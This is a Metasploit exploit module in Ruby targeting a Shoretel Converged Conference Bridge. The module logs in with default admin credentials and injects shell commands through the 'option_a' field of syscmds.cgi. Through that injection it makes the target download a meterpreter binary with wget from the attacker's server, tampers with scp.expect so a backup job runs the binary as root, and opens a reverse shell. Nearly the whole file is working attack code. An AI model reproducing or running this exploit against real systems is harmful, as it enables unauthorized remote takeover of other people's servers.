##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
'Name' => 'Shoretel Converged Conference Bridge Login',
'Version' => '$Revision: 1$',
'Description' => 'Shoretel Converged Conference Bridge Login',
'Author' => 'Josh Brashars @savant42 and Keith Lee @keith55',
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => [ 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
#'EXITFUNC' => 'process',
'EXITFUNC' => 'thread'
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0
)
register_options(
[
Opt::RPORT(8080),
#OptString.new('EXENAME', [ false, 'The Name of payload exe.',"tmp.bin"]),
OptString.new('RHOST', [ false, 'Target Shoretel Converged Conference Bridge',"conference.testdomain.com"]),
OptString.new('RPORT', [ false, 'Target Shoretel Server Port',"443"]),
OptString.new('USERNAME', [ false, 'Admin login ID for Shoretel conferencing bridge',"admin"]),
OptString.new('PASSWORD', [ false, 'Admin passsword for shoretel conferencing bridge',"changeme"]),
OptString.new('PAYLOAD', [false,'The payload to use for Linux reverse-connect payloads','linux/x86/meterpreter/reverse_tcp']),
OptBool.new('USECONTENTTYPE', [ true,
'Use Content-type header according to file extension. Many exploits may fail depending on this value',
true
]),
OptString.new('SRVHOST',[true,"The IP address of this server","192.168.160.134"]),
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]),
#OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]),
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ])
], self.class)
end
def on_request_uri(cli, request)
case request.method
when 'GET'
process_get(cli, request)
else
print_error("Unexpected request method encountered: #{request.method}")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /\.bin$/i)
datastore['SHELL'] = '/bin/sh'
print_status("SHELL set to #{datastore['SHELL']}")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
handler(cli)
return
end
print_status "Sending 404 to #{cli.peerhost}:#{cli.peerport} ..."
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
def exploit
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT']
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
post_data = "mode=login&admin_name="+datastore['USERNAME']+"&admin_pwd="+datastore['PASSWORD']+"&ok=Login"
print_status("https://#{rhost}:#{rport} - Shoretel Converged Conferencing - Trying username:'"+datastore['USERNAME']+"' with password:'"+datastore['PASSWORD']+"'")
datastore['rport'] = "443"
res = send_request_cgi({
'uri' => '/cgi-bin/login.cgi',
'data' => post_data,
'method' => 'POST',
'headers' =>
{
'User-Agent' => datastore['UserAgent']
}
}, 25)
if (res and res.body.match(/Invalid admin name/))
print_status("http://#{rhost}:#{rport} - Shoretel Converged Conferencing - Failed to login as "+datastore['USERNAME'])
return
else
cookies = res.headers['Set-Cookie']
if cookies.nil?
raise RuntimeError, 'The server did not set any cookies'
end
cookies = cookies.gsub("path=/, ","")
cookies = cookies.gsub("path=/","")
#cookies = cookies[0,cookies.length-2]
datastore['rport']=80
post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("cp /usr/local/apache/cgi-bin/scp.expect /tmp/scp.expect.bck")
#print_status(post_data)
print_status("Backup existing scp.expect")
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'data' => post_data,
'method' => 'POST',
'cookie' => cookies,
'User-Agent' => datastore['UserAgent']
}, 25)
print_status("Amend scp.expect to execute reverse shell")
post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed '3iexec /tmp/tmp.bin' /usr/local/apache/cgi-bin/scp.expect > /tmp/scp1.expect")
#print_status(post_data)
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'data' => post_data,
'method' => 'POST',
'cookie' => cookies,
'User-Agent' => datastore['UserAgent']
}, 20)
post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed '3iexec chmod 777 /tmp/tmp.bin' /tmp/scp1.expect > /tmp/scp2.expect")
#print_status(post_data)
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'data' => post_data,
'method' => 'POST',
'cookie' => cookies,
'User-Agent' => datastore['UserAgent']
}, 20)
post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed '4iexec chown root /tmp/tmp.bin' /tmp/scp2.expect > /tmp/scp3.expect & cp /tmp/scp3.expect /usr/local/apache/cgi-bin/scp.expect --reply=yes")
#print_status(post_data)
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'data' => post_data,
'method' => 'POST',
'cookie' => cookies,
'User-Agent' => datastore['UserAgent']
}, 20)
print_status("Grab meterpreter binary from from our server")
post_data = "cmd=netstat&option_a=%26wget http://"+datastore['SRVHOST']+":"+datastore['SRVPORT']+"/tmp.bin -O /tmp/tmp.bin \r\n"
#print_status(post_data)
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'method' => 'POST',
'data' => post_data,
'cookie' => cookies,
}, 20)
Rex::ThreadSafe.sleep(8)
print_status("Changing permissions of binary")
post_data = "cmd=netstat&option_a=%26chmod 777 /tmp/tmp.bin \r\n"
#print_status(post_data)
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'method' => 'POST',
'data' => post_data,
'cookie' => cookies,
}, 20)
print_status("Changing ownership of binary")
post_data = "cmd=netstat&option_a=%26swhoami > /tmp/out.txt \r\n"
#print_status(post_data)
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'method' => 'POST',
'data' => post_data,
'cookie' => cookies,
}, 20)
print_status("Executing binary for reverse shell")
post_data1='action=commit&backup_ind=on&backup_hostname=127.0.0.1&backup_directory=/tmp&backup_user=root&backup_password=metatel&backup_mode=scp&database=database&sessions=sessions&cert=cert&chunksize=128&upload_data=Save'
res = send_request_cgi({
'uri' => '/cgi-bin/save_box_data.cgi',
'method' => 'POST',
'data' => post_data1,
'cookie' => cookies,
}, 20)
Rex::ThreadSafe.sleep(5)
#Execute Backup
print_status("Restore original scp.expect")
post_data1 = "cmd=netstat&option_a=+-a+%26cp /tmp/scp.expect.bck /usr/local/apache/cgi-bin/scp.expect"
res = send_request_cgi({
'uri' => '/cgi-bin/syscmds.cgi',
'method' => 'POST',
'data' => post_data1,
'cookie' => cookies,
}, 20)
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end